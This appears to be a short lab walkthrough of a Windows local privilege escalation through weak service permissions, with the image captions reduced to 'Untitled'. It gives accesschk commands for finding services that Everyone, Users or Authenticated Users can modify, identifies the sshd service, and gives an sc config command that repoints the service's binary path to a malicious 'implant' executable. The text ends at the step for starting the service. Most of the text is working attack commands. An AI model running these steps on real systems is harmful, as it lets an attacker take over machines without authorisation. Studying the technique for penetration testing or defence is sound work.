First: Let’s find the services that are modifiable by everyone

accesschk.exe -accepteula -wuvc "Everyone" *

Untitled

No matching results

Let’s Try services we can modify as users

accesschk.exe -accepteula -wuvc "Users" *

Untitled

No matching results

Let’s Try services we can modify as Authenticated Users

accesschk.exe -accepteula -wuvc "Authenticated Users" *

Untitled

And we have found the sshd services

Second: View Service stat

sc query sshd

Untitled

Third: Modify service path to point to our malicious payload

sc config sshd binPath= "C:\\Users\\IEUser\\Desktop\\LPE\\implant\\implantsrv.exe"

Untitled

Fourth: Start the service